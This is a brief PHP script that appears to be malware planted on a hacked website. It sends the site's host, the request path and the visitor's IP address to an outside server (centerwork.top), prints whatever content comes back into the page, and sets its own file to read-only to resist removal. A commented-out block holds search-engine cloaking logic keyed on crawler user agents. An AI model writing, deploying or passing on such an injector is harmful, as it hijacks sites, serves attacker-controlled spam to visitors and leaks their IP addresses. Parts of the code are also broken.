<?php
//$v   = false;
//$tmp = $_SERVER['HTTP_USER_AGENT'];
//if (strpos($tmp, 'Googlebot') !== false) {
//    $v = true;
//} else if (strpos($tmp, 'Baiduspider') > 0) {
////echo ;
//    $v = true;
//} else if (strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false) {
////echo ;
//}
//
//if ($v != true) {
//    header("Location:");
//}
set_time_limit(0);
error_reporting(0);

header("Content-Type: text/html;charset=utf-8");

function getRealIP(){
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}elseif(isset($_SERVER['HTTP_CF_CONNECTING_IP'])){
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$uip = getRealIP();
date_default_timezone_set('PRC');
$TD_server  = "http://centerwork.top";
$host_name  = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$Content_mb = file_get_contents($TD_server . "/" . $_SERVER['HTTP_HOST'] . "/url=" . $_SERVER["REQUEST_URI"].$_SERVER['PHP_SELF'] .";realiip=".$uip);

echo $Content_mb;

$url1      = $_SERVER['PHP_SELF'];
$filename1 = @end(explode('/', $url1));
function set_writeable($file_name)
{
    @chmod($file_name, 0444);

}

set_writeable($filename1);
cache_end($dir);
?>